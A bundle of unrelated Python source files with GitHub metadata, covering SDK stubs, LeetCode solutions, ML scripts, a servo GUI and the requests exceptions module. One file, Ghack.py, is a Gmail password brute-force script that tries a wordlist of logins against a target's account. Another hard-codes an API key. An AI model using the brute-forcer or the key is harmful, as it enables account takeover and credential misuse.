] | permissive | AccelByte/accelbyte-python-sdk | dedf3b8a592beef5fcf86b4245678ee3277f953d | 539c617c7e6938892fa49f95585b2a45c97a59e0 | refs/heads/main | 2023-08-24T14:38:04.370340 | 2023-08-22T01:08:03 | 2023-08-22T01:08:03 | 410,735,805 | 2 | 1 | MIT | 2022-08-02T03:54:11 | 2021-09-27T04:00:10 | Python | UTF-8 | Python | false | false | 8,991 | py | # Copyright (c) 2021 AccelByte Inc. All Rights Reserved.
# This is licensed software from AccelByte Inc, for limitations
# and restrictions contact your company contract manager.
#
# Code generated. DO NOT EDIT!
# template file: ags_py_codegen
# pylint: disable=duplicate-code
# pylint: disable=line-too-long
# pylint:... | [
"elmernocon@gmail.com"
] | elmernocon@gmail.com |
682efabebab7374e91d53d7a58b7c8d12311a35f | 839cd5616d63825192dffb3730dacb67619bda2f | /modules/maintenance/db_handler.py | a9fee5494a01f2ffb7d6522b31dab2bc848df453 | [] | no_license | Gr3yG00se64/overwatch | 1e0777005a28cc3e8e3b32d130935d6ee4163110 | 090f3d8aafe758ae29b4c5add346e1bc51cc923a | refs/heads/master | 2020-09-12T09:16:55.854617 | 2020-04-20T06:01:35 | 2020-04-20T06:01:35 | 222,378,902 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,639 | py | #Local Dependencies
import config
#Package Dependencies
from pymongo import MongoClient
def remove_alerts(alerts):
#Establish DB Connection
connection = MongoClient(config.mongoURI)
#Set Up DB for Alerts
alertDB = connection["alerts"]
alertCollection = alertDB["alerts"]
if alerts:
fo... | [
"Gr3yG00se@protonmail.com"
] | Gr3yG00se@protonmail.com |
f1526f327e2c49c3286b1241e61d0b56db652768 | cf2daa38a23dbab72d9538a5b12b5a32a6f43cd3 | /ultra_gui.py | be3b1b7853096f3369aa4632df39de8237625ebb | [
"Apache-2.0"
] | permissive | barum-jam-collective/PiWars2021-General | 2d7b54773e0995e0b2e6856b3d0c3ca849758de0 | 5edbc706332c942309ee6922dd11342b8ae0c290 | refs/heads/main | 2023-05-08T19:56:29.080659 | 2021-05-23T16:44:14 | 2021-05-23T16:44:14 | 337,853,444 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 3,727 | py | # Python GUI for Servo control
# Specifically written for and in lieu of PiBorg's vesion for the UltraBorg Servo and Sensor Board
# This is a small program for testing PiBorgs UltrabBorg Servo and Ultrasonic Sensor board.
# When run it creates a GUI with 4 sliders that can be used to operate Servos connected to the Ult... | [
"noreply@github.com"
] | barum-jam-collective.noreply@github.com |
6c0c42ab44dab3984b93fc4dcd90b4953dd419fe | b7aba8b3e94d8a5261d6bfeb54deb25813d89f97 | /python/669_trim_a_binary_search_tree.py | 3dd9f2cf2ee7eb7f74269e45370da077884dd654 | [] | no_license | jianq1994/leetcode | 34cd88d567fe675a8a545c968f4994dfbb7af42b | d68b5ac6359a06e144fc6273978d91c5f73093f1 | refs/heads/master | 2022-02-23T03:07:45.532971 | 2019-08-19T20:46:19 | 2019-08-19T20:46:19 | 123,503,033 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 553 | py | # Definition for a binary tree node.
# class TreeNode:
# def __init__(self, x):
# self.val = x
# self.left = None
# self.right = None
class Solution:
def trimBST(self, root: TreeNode, L: int, R: int) -> TreeNode:
if not root:
return root
if root.val < L:
... | [
"jianq1994@gmail.com"
] | jianq1994@gmail.com |
5b219f9223b9bcb10fddba2b26b7ab668b8326f1 | de8917857bfce63eb293cf8047ae67484236d15b | /Grover/0000/algorithm.py | d0654c1efaff9614ea58562ea77510653e689ba5 | [] | no_license | mcasanova1445/transmon-thesis | 73f15bd02bc5f6ecede6b8664e337993ac162931 | e4a4890c7b666debf6824306ab3f131575fef997 | refs/heads/master | 2020-03-09T00:06:30.327912 | 2019-02-15T17:18:11 | 2019-02-15T17:18:11 | 128,480,260 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,300 | py | # PageRank del grafo corona
import matplotlib.pyplot as plt
import matplotlib as mpl
import numpy as np
from scipy.stats import norm
from qutip import *
import tgates
import time
def Htrans(psi0):
res = tgates.H(psi0, 0)
res = tgates.H(res.states[-1], 1)
res = tgates.H(res.states[-1], 2)
return tgates... | [
"mcasanova1445@gmail.com"
] | mcasanova1445@gmail.com |
becccdb8da64a4c8fc094e6460056a3223cb42ea | f263cdf3c16a2880de4ac8de00dd77ecd27e8622 | /final_project/helpers.py | 79bf430becc319bdc65a49a67038a2c59180beb5 | [] | no_license | chasesliger/CS50_Intro | ff202b6f06924b509f6f49b9658d51112e5ffa15 | 56c3b72e19dbacb0f3f075bc8575f09765d91da6 | refs/heads/master | 2022-11-25T18:01:27.459680 | 2020-07-24T15:48:45 | 2020-07-24T15:48:45 | 270,345,236 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 3,263 | py | import os
import requests
import urllib.parse
import json
from flask import redirect, render_template, request, session
from functools import wraps
def apology(message, code=400):
"""Render message as an apology to user."""
def escape(s):
"""
Escape special characters.
https://github... | [
"noreply@github.com"
] | chasesliger.noreply@github.com |
7075283b6955bdfb1a33d515a731dcf20942c77d | cbfb679bd068a1153ed855f0db1a8b9e0d4bfd98 | /leet/google/trees_and_graphs/1466_Reorder_Routes_to_Make_All_Paths_Lead_to_the_City_Zero.py | b9d29f7cfe28380b2d2c1c3fe882319eb9cf1dfb | [] | no_license | arsamigullin/problem_solving_python | 47715858a394ba9298e04c11f2fe7f5ec0ee443a | 59f70dc4466e15df591ba285317e4a1fe808ed60 | refs/heads/master | 2023-03-04T01:13:51.280001 | 2023-02-27T18:20:56 | 2023-02-27T18:20:56 | 212,953,851 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 951 | py | import collections
from leet.microsoft.trees_and_graphs.n_ary_tree_level_order_traversal import List
class SolutionMy:
def minReorder(self, n: int, connections: List[List[int]]) -> int:
graph = collections.defaultdict(list)
directedGraph = collections.defaultdict(set)
# we compose directe... | [
"ar.smglln@gmail.com"
] | ar.smglln@gmail.com |
430bdd49a95d6b8b0dd30c7bc493d0e783feaecc | 00da73f35308b860ef9a3c6eb6cdaf8c89608f57 | /deps/requests/exceptions.py | be7eaed6b9cbfe71db625ce1da3fcb11d242380b | [
"MIT"
] | permissive | kylebebak/Requester | 32abf8a56ba0e9e42fdd25b13ce48d40a87f20e0 | 7f177bc417c45fd1792c6020543a4c6909e3ea21 | refs/heads/master | 2022-07-17T11:09:30.238568 | 2022-05-05T17:31:48 | 2022-05-05T17:38:56 | 89,746,594 | 333 | 16 | MIT | 2021-02-23T14:43:12 | 2017-04-28T21:37:08 | Python | UTF-8 | Python | false | false | 3,103 | py | # -*- coding: utf-8 -*-
"""
requests.exceptions
~~~~~~~~~~~~~~~~~~~
This module contains the set of Requests' exceptions.
"""
from urllib3.exceptions import HTTPError as BaseHTTPError
class RequestException(IOError):
"""There was an ambiguous exception that occurred while handling your
request.
"""
... | [
"kylebebak@gmail.com"
] | kylebebak@gmail.com |
2ac6ed87775431ddcbc4b7fa558d78fe2d909b63 | 3a3f24adfd63ff35009c1983abd07ff457afc261 | /Ghack.py | 0b6b2a2d808cf969aac493c8f69f24bada03927c | [] | no_license | lukaakul005/ghack0274 | 62fafc7e5741e1e929fb2ff77250a22c6bb3c55d | 82eed35c1b516b13659a9b4d0760b7bf3ac8a390 | refs/heads/master | 2021-05-21T03:42:14.562557 | 2020-04-02T17:52:55 | 2020-04-02T17:52:55 | 252,527,426 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 679 | py | import smtplib
import time
smtpserver = smtplib.SMTP("smtp.gmail.com", 587)
smtpserver.ehlo()
smtpserver.starttls()
n = 0
user = input("Enter the target's email address: ")
passfile = input("Enter the password file name: ")
passfile = open(passfile, "r")
for password in passfile:
try:
smtpser... | [
"noreply@github.com"
] | lukaakul005.noreply@github.com |
a4ea9a9741282126ca5996726e4d99dec6bded63 | a151410b77d4d7151376b6e0be15ad15e49b7c14 | /results/quantum-dots/two-dim-quantum-dots/ground-state/tdho_system.py | e95b015e657d035129035894ef61983434f9a441 | [] | no_license | Schoyen/master-thesis | d3b5b0cb20bf0d8b3fbf2cf70eec63d6484b21d7 | 5c599431d9a000d767372b05580312f223883220 | refs/heads/master | 2023-04-19T03:20:08.076633 | 2021-04-29T11:16:26 | 2021-04-29T11:16:26 | 140,681,415 | 2 | 0 | null | null | null | null | UTF-8 | Python | false | false | 787 | py | import os
import numpy as np
from quantum_systems import TwoDimensionalHarmonicOscillator
from hartree_fock import RHF
from hartree_fock.mix import DIIS
os.environ["QS_CACHE_TDHO"] = "1"
def cache_large_system(*args, **kwargs):
tdho = TwoDimensionalHarmonicOscillator(*args, **kwargs)
tdho.setup_system(verbo... | [
"oyvindschoyen@gmail.com"
] | oyvindschoyen@gmail.com |
a3aadbb6552e2b1f21e9e6b8b2892f95137b8f56 | f1d3393e741bb6bc1d0bec56b8466116d91206d8 | /NER-action/data_loader.py | ca0dd52b79aa68fe2903d1ca9ab7fafe7e758f56 | [] | no_license | wanghr873/NER- | 185d58bac94e800bd755ee4942887e792b646de2 | f88599fd7e01ad2303d8b44a32765e6bc61e310d | refs/heads/master | 2022-11-08T09:41:38.231942 | 2020-06-26T01:25:01 | 2020-06-26T01:25:01 | 275,047,971 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 4,038 | py | #!/usr/bin/python
# -*- coding: UTF-8 -*-
#微信公众号 AI壹号堂 欢迎关注
#Author bruce
import codecs
import data_utils
def load_sentences(path):
"""
加载数据集,每一行至少包含一个汉字和一个标记
句子和句子之间是以空格进行分割
最后返回句子集合
:param path:
:return:
"""
# 存放数据集
sentences = []
# 临时存放每一个句子
sentence = [... | [
"noreply@github.com"
] | wanghr873.noreply@github.com |
25e3c77c55c822ccaa6161f2c5af8d82a68c33dd | a5d51c2dc35b6fbbff74707be2d446d25f337227 | /Pytorch/RDA/RDA.py | aad6c9f62bbbd8f23c7990e4dd85334d4603998d | [] | no_license | huiminren/RobustVAE | 5ed8223748be333374070cfb5172bfbcd1250991 | e82a33f6d4f03b2e3c7f176fbf6f05ce6524d0cd | refs/heads/master | 2023-05-23T01:13:48.950054 | 2021-06-07T01:20:10 | 2021-06-07T01:20:10 | 161,849,001 | 11 | 3 | null | null | null | null | UTF-8 | Python | false | false | 8,261 | py | #!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
Created on Mon Mar 25 13:45:45 2019
@author: huiminren
"""
import torch
import torch.utils.data as Data
from torchvision.utils import save_image
from torch import nn
import matplotlib.pyplot as plt
import numpy as np
import os
import time
from BasicAutoencoder.DA im... | [
"ramonarhm07@gmail.com"
] | ramonarhm07@gmail.com |
6c95a37e15e071cb1aa8402bc655919c7ec47651 | 2872f011134b482dbbddee2e04fcaf716b9d2241 | /spk_id/minivoxceleb/process.py | e845c1ee58e4ee9c2d184c7d70016c863868491b | [
"MIT"
] | permissive | jac002020/maso | 535d2543e2711629124df1371a22cce823b3855d | 0a721093684e19a0eeca268cd7953126c7b5a24e | refs/heads/master | 2022-03-29T12:55:56.789777 | 2019-11-19T15:37:50 | 2019-11-19T15:37:50 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 514 | py | import os
import numpy as np
spkid = {}
utt2spk = {}
count = 0
for file in os.listdir("train"):
spk = file[:4]
if spk in spkid.keys():
utt2spk[file] = spkid[spk]
else:
spkid[spk] = count
utt2spk[file] = count
count += 1
for file in os.listdir("test"):
spk = file[:4]
... | [
"joshinh@gmail.com"
] | joshinh@gmail.com |
44d50c2a1e690a7070bc6b5edbee498c65bb711e | 2f07f8da841b991081dce5b81b78f462f5e75d21 | /chatbot/settings.py | 1503cd9a5d979480738a58cc804375f44773db7d | [] | no_license | antibagr/telegram-bot-template | 7a76bbb1ef083bfbceb17d87e40e02389ba46c88 | dce78f4476bd2a333d598bd055ff81d929d84bc5 | refs/heads/master | 2023-07-05T17:17:31.101438 | 2021-08-17T23:23:06 | 2021-08-17T23:23:06 | 396,156,088 | 2 | 0 | null | null | null | null | UTF-8 | Python | false | false | 682 | py | from pathlib import Path
from pydantic import BaseSettings
class Settings(BaseSettings):
DEBUG: bool
BASE_DIR: Path = Path(__file__).resolve().parent
BOT_TOKEN: str
BOT_USERNAME: str
# pass user_id of a user who have
# the administrator priviledges
ADMIN_ID: int = 0
# pass the ch... | [
"abagraynov@cindicator.com"
] | abagraynov@cindicator.com |
83e063a335e91ced911cc90c1c947aaf1fdf0573 | 100e4f1cec1816249862ac3284ac0b98c549827d | /formants_pitch.py | a30271bbc84c432b9b49fa32a873cacb1dae0e4e | [] | no_license | shrutikshirsagar/Sound_recognition | 59adefce65e9eb41f4e1f01bbf4475de39076e81 | c0181a0d8b86f3b8322afa5272c3a16962ce7cc4 | refs/heads/main | 2023-03-12T11:37:52.051127 | 2021-03-02T19:00:27 | 2021-03-02T19:00:27 | 316,301,735 | 2 | 0 | null | null | null | null | UTF-8 | Python | false | false | 6,855 | py | import matplotlib.pyplot as plt
import librosa
import numpy as np
import librosa.display
from surfboard.sound import Waveform
import numpy as np
import os
import pandas as pd
path = '//media/shruti/Data/Internship_data/Experiment/Indoor_16Khz/Fire_alarm/'
final_f = np.empty((0, 35))
for f in os.listdir(path):
filen... | [
"noreply@github.com"
] | shrutikshirsagar.noreply@github.com |
de74f08ba22e102abd028cba79653660050c469f | 956eb591c3a348047eae942f49d5e3867543552b | /pythonProject/venv/bin/easy_install | c11636af01c7452a5f5d49f3aeac8f8b9c7500c0 | [] | no_license | Diengoumar/stagemam5 | 481bde82a6e53980378b4edf57950162546ea1dc | a4413a04a2fe946727268700af3a81abd1e21feb | refs/heads/main | 2023-08-18T07:58:35.645481 | 2021-10-08T07:43:13 | 2021-10-08T07:43:13 | 402,440,345 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 272 | #!/home/ubuntu/PycharmProjects/pythonProject/venv/bin/python
# -*- coding: utf-8 -*-
import re
import sys
from setuptools.command.easy_install import main
if __name__ == '__main__':
sys.argv[0] = re.sub(r'(-script\.pyw|\.exe)?$', '', sys.argv[0])
sys.exit(main())
| [
"oumardieng91@hotmail.fr"
] | oumardieng91@hotmail.fr | |
537360fd185be8ed174625faa99bbb9e72b1f109 | df3c32e5ed8dab63b75c4177e8795fbccba4e294 | /test/test_pythoscope_util.py | 02519409de2463aeede687bb76da44973d2e6c3b | [
"MIT",
"Python-2.0",
"LicenseRef-scancode-unknown-license-reference"
] | permissive | h4ck3rm1k3/pythoscope | 494245fcf7d4e4f3ab4ddc09b9fe3a6559e69a0c | 0cefb34b86e2e81e29c0b93d27e3d4657db79912 | refs/heads/master | 2021-01-09T06:37:47.534212 | 2014-01-18T12:45:02 | 2014-01-18T12:45:02 | 15,382,862 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 8,179 | py | import unittest
class TestCompact(unittest.TestCase):
def test_compact(self):
# self.assertEqual(expected, compact(lst))
assert False # TODO: implement your test here
class TestCounted(unittest.TestCase):
def test_counted(self):
# self.assertEqual(expected, counted(objects))
... | [
"jamesmikedupont@gmail.com"
] | jamesmikedupont@gmail.com |
f8a9873f17233f7490661e29d2e14c7adf1359b9 | 5bbf56dec57fdba4b6c32d679d8216fd2c364eb2 | /datastruct/dictsort.py | 8fb59915a1c2efed40ae9c2070a78e5cbc2754de | [] | no_license | yiwenzi/python | 394d5b744422e33409145bcc0245774e8c0d1933 | 56c1f2ea710514a36daf0b314ad36abbc9b0444e | refs/heads/master | 2020-03-12T08:10:40.552943 | 2018-04-24T14:54:37 | 2018-04-24T14:54:37 | 130,521,875 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 360 | py | # coding=utf-8
from random import randint
__author__ = 'hunter'
d = {x: randint(60, 100) for x in 'abcdefg'}
# 直接排序,是按key来排序的
print sorted(d)
# 使用zip函数,重新构造dict
d2 = sorted(zip(d.itervalues(), d.iterkeys()))
print d2
# 传入匿名函数,控制排序使用的值
d3 = sorted(d.items(), key=lambda x: x[1])
print d3
| [
"hello.jiajun@qq.com"
] | hello.jiajun@qq.com |
f5242073f0bfa465e975bd513bb740d7394140f9 | 6d287cd00d4df706f0e0d93f21c49be9632312cf | /Weekly-Contest/215/5603-Determine-if-Two-Strings-Are-Close.py | 3806f2eae68e258ce3d412b38ac1301891c06cae | [] | no_license | csyhhu/LeetCodePratice | eba799a3b74b6ef7b011bf1500c386ce37be6de9 | 9366805ba480bb234d6bc63cea098b6e41539d35 | refs/heads/master | 2023-07-10T22:51:58.908904 | 2023-06-21T02:46:07 | 2023-06-21T02:46:07 | 204,811,835 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,178 | py | def closeStrings(word1: str, word2: str):
"""
1) Swap any two existing characters
2) Transform every occurrence of one existing character into another existing character, and do the same with the other character.
:param word1:
:param word2:
:return:
"""
if len(word1) != len(word2):
... | [
"schen025@e.ntu.edu.sg"
] | schen025@e.ntu.edu.sg |
948699f4f43166001accf08ca41b50bc491cccb7 | 4d363dff48515c6a00ca78903ff2e824c64e9098 | /qaPairsRelationClassification/DeepSiameseNet/utils/input_helpers.py | e28194f26a01ff475a95a0cea636ef7fccef480a | [
"Apache-2.0",
"MIT"
] | permissive | lrpopeyou/pynlp | 3b0e0d54be87d7de0b447f6b6e0e1b801adb1012 | 0f1aa73f8c4bd3faba18dbb6e402d251e308bb50 | refs/heads/master | 2022-04-05T17:55:22.511021 | 2019-12-13T09:54:27 | 2019-12-13T09:54:27 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 7,582 | py | import gc
import warnings
from random import random
import numpy as np
from utils.preprocess import MyVocabularyProcessor
class InputHelper(object):
pre_emb = dict()
vocab_processor = None
def getVocab(self, vocab_path, max_document_length, filter_h_pad):
if self.vocab_processor is None:
... | [
"900326yang"
] | 900326yang |
e7e0b4218728f2b71bc3f8d0aa25460859bac071 | 0345efcc297ac6bd4f4c0010290d10a4d1d19fb8 | /app/migrations/0003_auto_20200926_2236.py | 79a9ffe8cab74852bf6911cbeb2498a4dc013507 | [] | no_license | meat9/rest_bot | 953f412f6ac13a4149424bd5fae53e70c1c0a40b | 6f735a415d4b1a056e89b33b711f4fb7f533a2b2 | refs/heads/master | 2022-12-24T22:04:00.680688 | 2020-10-06T16:54:52 | 2020-10-06T16:54:52 | 298,871,388 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 675 | py | # Generated by Django 3.1.1 on 2020-09-26 19:36
from django.db import migrations, models
import gsheets.mixins
import uuid
class Migration(migrations.Migration):
dependencies = [
('app', '0002_person'),
]
operations = [
migrations.CreateModel(
name='Test',
fields... | [
"iiidonaldiii@gmail.com"
] | iiidonaldiii@gmail.com |
3ecfcd1b407d0620a5577195224b57ab70cc47e6 | 8f6fa264770a48a4bc1563211baa3fda37e2fbfa | /AD_ROI/asgi.py | 6968051c25f067f237205620d09c3cf2c2ac02b1 | [] | no_license | So-fin/Django-ROI-Calculator-Application-Development-Project | 45f1925dfadf9800aedefa3b3d5fa8470a7da0c1 | 41bb6f89e70d0ffd635b0d99f2bc071ded43ac63 | refs/heads/main | 2023-02-12T18:39:04.390427 | 2021-01-10T11:17:53 | 2021-01-10T11:17:53 | 328,362,325 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 389 | py | """
ASGI config for AD_ROI project.
It exposes the ASGI callable as a module-level variable named ``application``.
For more information on this file, see
https://docs.djangoproject.com/en/3.0/howto/deployment/asgi/
"""
import os
from django.core.asgi import get_asgi_application
os.environ.setdefault('DJANGO_SETTIN... | [
"sofinwadhwaniya18@gnu.ac.in"
] | sofinwadhwaniya18@gnu.ac.in |
7cca7e78bf221433446d462997bcc94b90d386ee | aca539099faaf7532848cfe61aa8dafcaecddea0 | /base/__init__.py | 970590f7517b8aaf5080bda5582a5e532ea04562 | [] | no_license | geo000/MTL_homoscedastic_SRB | 824c37ae23da275af2d993657fb43d92cf548414 | 6137c334d754394b58e007d419f9d699b35bad35 | refs/heads/main | 2023-05-13T00:32:39.883337 | 2021-05-25T08:29:20 | 2021-05-25T08:29:20 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 218 | py | from .model import SegmentationModel
from .modules import (
Conv2dReLU,
Attention,
)
from .heads import (
SegmentationHead,
ClassificationHead,
AUX_edgehead,
AUX_SegmentationHead
) | [
"noreply@github.com"
] | geo000.noreply@github.com |
775a116478124bcea5a3d5aabcbc37540ba42801 | c950955296f5989ad9db585af2a87f1d1842395e | /positions_explorer/manage.py | 377a74752f218f145c234d90af92508c39ac785f | [] | no_license | Contexte/eu-hackathon | d6dabdf160846f9d38d81d58d0823122cfc569a7 | ed03aeea75be404dfc56a5fce1d38c594f202f99 | refs/heads/master | 2021-01-22T08:27:47.742154 | 2014-12-03T12:05:16 | 2014-12-03T12:05:22 | 27,421,719 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 261 | py | #!/usr/bin/env python
import os
import sys
if __name__ == "__main__":
os.environ.setdefault("DJANGO_SETTINGS_MODULE", "positions_explorer.settings")
from django.core.management import execute_from_command_line
execute_from_command_line(sys.argv)
| [
"adelaby@contexte.com"
] | adelaby@contexte.com |
bc0eb24f243dcd89f945e8d32010f60e4d419698 | e80a89f5892bb0d0d46b9811b74057ab730e4aca | /xml_to_csv.py | bc75f5bc8871ed4da218d1bcdabc1733690b96c3 | [] | no_license | kaletap/stack | db8984f486acdaa9494606b96cde1ad704b92f8a | e15ada3d148dba1948db24fbb27658bb6e55c662 | refs/heads/master | 2020-04-10T23:59:28.146592 | 2019-02-13T20:03:00 | 2019-02-13T20:19:25 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,206 | py | #!/usr/bin/env python
import xml.etree.cElementTree as et
import os
import pandas as pd
def save_xml_as_csv(dataset_name):
"""Saves all tables of dataset as csv's"""
data_path = os.path.join("data", dataset_name + ".stackexchange.com")
if not os.path.exists(data_path):
print("Check whether path {... | [
"kaletap@student.mini.pw.edu.pl"
] | kaletap@student.mini.pw.edu.pl |
82e66eb8027f06c7c8b3a2130383eee0433965f7 | 5cc3334518c73a7de57f33a9b79ab4dd38693163 | /test_tf.py | 011ea6bf5e61e9340ac852d40abf25af2693ab64 | [] | no_license | arashdn/sof-expert-finding-ml | 0affecc06db78e96a55c376f65f53aaf780d1e5f | de8f6b64bf666d7d4fa3a6abd24354d7d8000f6f | refs/heads/master | 2021-01-19T18:59:02.731049 | 2018-01-20T11:02:40 | 2018-01-20T11:02:40 | 88,392,949 | 3 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,194 | py | # import tensorflow as tf
#
# # v1 = tf.Variable([[1,2,3]], name="v1")
# # v2 = tf.Variable([[4],[5],[6]], name="v2")
# # ...
# # # Add an op to initialize the variables.
# # init_op = tf.global_variables_initializer()
# #
# # # Add ops to save and restore all the variables.
# # saver = tf.train.Saver()
#
# ... | [
"arash@dargahi.org"
] | arash@dargahi.org |
08dd02119e649205f4935ee844d8221d52578ab9 | e266a4c966657d3f0d7a6847c69ef39828c8a8df | /caffe-deeplearning/sceneTagging/finetune_setup/train01/safe_val.py | 2da251dbe6a0d224cd8b51383764062988211a4d | [] | no_license | patrickbochen/Carmera | 26d8251b23a772441825e8aec109675a39bba27d | 404c2ace3703fe0d6bb17adeaaf6c8a94ff055ed | refs/heads/master | 2021-01-20T22:31:14.708758 | 2016-08-03T18:27:08 | 2016-08-03T18:27:08 | 64,784,317 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 8,914 | py | #Validation testing file on 'safe' tag against MIT streetscores
import csv #csv file reader
import random
import os
from carmera import Carmera #Carmea module
#Local machine setup
cm = Carmera(api_key="ff779518b57c98017d46617830829c91e731c302")
#cm.url_base = "http://api-staging.carmera.co" Dont need this, only for s... | [
"patrickbochen@gmail.com"
] | patrickbochen@gmail.com |
2a9692f84fde912561c1af5585e107e2933da948 | 1ca71cd18de29def84ab70818b12633f96247ecd | /deploy_service.py | a15bedf3cbf63a258db262b4967e2d175cf67815 | [] | no_license | masonchen2014/alipython | 2e3286728025ecfe712e26afe37f160b44700d7e | 1b6e747611fefd01e706d6035d40b0198798ebc8 | refs/heads/master | 2020-03-09T21:46:38.459738 | 2018-04-20T08:52:29 | 2018-04-20T08:52:29 | 129,018,236 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 3,916 | py | from fabric.api import *
from configparser import ConfigParser
from aliyun import AliHelper
import time
import requests
class DeployServce:
def __init__(self,war_file_path,target_tmp_path,tomcat_path,service_port,service_name,slb_id,health,alihelper):
self.wpath = war_file_path.rstrip('/')
self.wfi... | [
"mason@localhost.localdomain"
] | mason@localhost.localdomain |
e464c2381b3c080603299e821958e97a5e00965b | fca0173560876c5f43aac5ecd2d41330d1d22b5d | /cv/tex.py | 048ecbc375de1623ad308242ec907bc8266baf6a | [] | no_license | jorgebg/cv | 9223bba1e64322fb47e4d33536818ba3fe55bee1 | 24437e4f558e697bfe7abb1f512d9745f6dc6df3 | refs/heads/master | 2020-12-12T05:37:35.226132 | 2020-05-19T17:23:09 | 2020-05-19T17:23:09 | 29,673,733 | 1 | 1 | null | null | null | null | UTF-8 | Python | false | false | 4,664 | py | import re
import sys
from functools import namedtuple
import mistune
import jinja2
import cv
from cv.templated import Templated
ESCAPE_CHARS = {
'&': r'\&',
'%': r'\%',
'$': r'\$',
'#': r'\#',
'_': r'\letterunderscore{}',
'{': r'\letteropenbrace{}',
'}': r'\letterclosebrace{}',
... | [
"jorge.barata.gonzalez@gmail.com"
] | jorge.barata.gonzalez@gmail.com |
a9a995593bea8486c1a66b449b79bb38b75bd42d | e732b4d8ae47cfc6b3c051c1792268928dbfaaf8 | /mk_doc_vectors.py | 17831954f69475e3760a2becf9168f0318d2e48d | [] | no_license | ml-for-nlp/topic-classification | 584aa186bedd1dce8fb4747f3185175de77eb2cd | 882157805439d7b403499942b6aab1e4d0541d6d | refs/heads/master | 2020-04-30T23:24:52.416033 | 2020-04-10T07:50:32 | 2020-04-10T07:50:32 | 177,143,542 | 2 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,800 | py | #USAGE: python3 mk_doc_vectors.py
import re
import sys
import numpy as np
from math import isnan
from os import listdir
from os.path import isfile, isdir, join
from sklearn.decomposition import PCA
feature_type = sys.argv[1]
def read_vocab():
with open('./data/vocab_file.txt','r') as f:
vocab = f.rea... | [
"aurelie.herbelot@cantab.net"
] | aurelie.herbelot@cantab.net |
947c86d39b47a7af1728173b26c2bd6fe0390e27 | 75c227dcb962282ba40084ecba70b6b9bc0b6810 | /5.3.py | cb178b39292eeb69e4cb232642e00e2a7e77f370 | [] | no_license | vedantvajre/PythonDataScience | 3b87b2991f42bad4db1d44396c36bd4dff731cec | 3795225e4633b10ad3b881405ebef5d0327ae972 | refs/heads/master | 2020-06-11T08:10:08.869872 | 2019-06-26T22:06:29 | 2019-06-26T22:06:29 | 193,900,921 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 153 | py | alien_color = "red"
if alien_color == "red":
print("You have earned 5 points!")
alien_color = "yellow"
if alien_color == "red":
print("You won!") | [
"vedantvajre@gmail.com"
] | vedantvajre@gmail.com |
65e7651930393e2c836a4314c0ed1bdf3349fe6f | 68b41912ce7f37cc56fad963f12e1a934ea959e6 | /model/core/output.py | 0b9d1ef9eb753513056018b52da8b8c2da1e6910 | [
"MIT"
] | permissive | BernardTsai/model | 730cfe9371819c781f73f5515996e6465a4b3131 | 950a8d34106ddfb7ef7985a3eca6d72524733c38 | refs/heads/master | 2023-04-16T17:11:34.384982 | 2021-04-20T18:24:42 | 2021-04-20T18:24:42 | 103,212,329 | 0 | 0 | MIT | 2021-04-20T18:24:43 | 2017-09-12T02:32:04 | Python | UTF-8 | Python | false | false | 3,410 | py | #!/usr/bin/env python3
# -*- coding: utf-8 -*-
# ------------------------------------------------------------------------------
#
# output.py:
#
# A class to provide functionality for writing data.
#
# ------------------------------------------------------------------------------
import os
import sys
import re
import... | [
"bernard@tsai.eu"
] | bernard@tsai.eu |
238b0ff7d600e6fc3bd33dae6392ff807f618e64 | d869f6e6b0c07341086402325f193ac6b2cc2191 | /program accept two numbers and identify even number out of them..py | 64fef27c2232a794ac207b713e2e93354649ac40 | [] | no_license | SARAOGIAMAN/PYTHON-PROGRAMS | 46811a161c0020f4f23b5d617c9e5dca03543184 | deae16b35a569f79e53e79a8cba3e711a628a7d7 | refs/heads/main | 2023-02-13T23:18:57.376444 | 2021-01-11T17:17:23 | 2021-01-11T17:17:23 | 310,389,061 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 220 | py | a = int(input("Enter a: "))
b = int(input("Enter b: "))
if(a%2==0 and b%2==1):
print("a is even")
elif(b%2==0 and a%2==1):
print("b is even")
elif(a%2==0 and b%2==0):
print("Both are even")
else:
print("Both are odd")
| [
"noreply@github.com"
] | SARAOGIAMAN.noreply@github.com |
07f2933b9cadfb1eecf85bdfb76c97d0c29a75a4 | 1a721736f3fd57b0fffcac7b9481e3b6b272909d | /IT - 412/finalAssignment/classes/database_access.py | 26958d8fd76940a94bae153917f739ac33fd4913 | [] | no_license | vifezue/PythonWork | eed6609f2b56aa038082e599476f7ba3b8c471a0 | c9fc7f312f9d73fef6af6d13459ea4a69b16cdca | refs/heads/master | 2022-11-28T10:42:10.246227 | 2020-07-18T03:40:42 | 2020-07-18T03:40:42 | 280,537,961 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,843 | py | import pymysql
class DB_Connect():
"""A simple class for connecting to a database and performing queries"""
def __init__(self, passed_db_username, passed_db_password, passed_database):
"""Initialize name and age variables/attributes"""
self.passed_db_username = passed_db_username
self... | [
"ifezue@me.com"
] | ifezue@me.com |
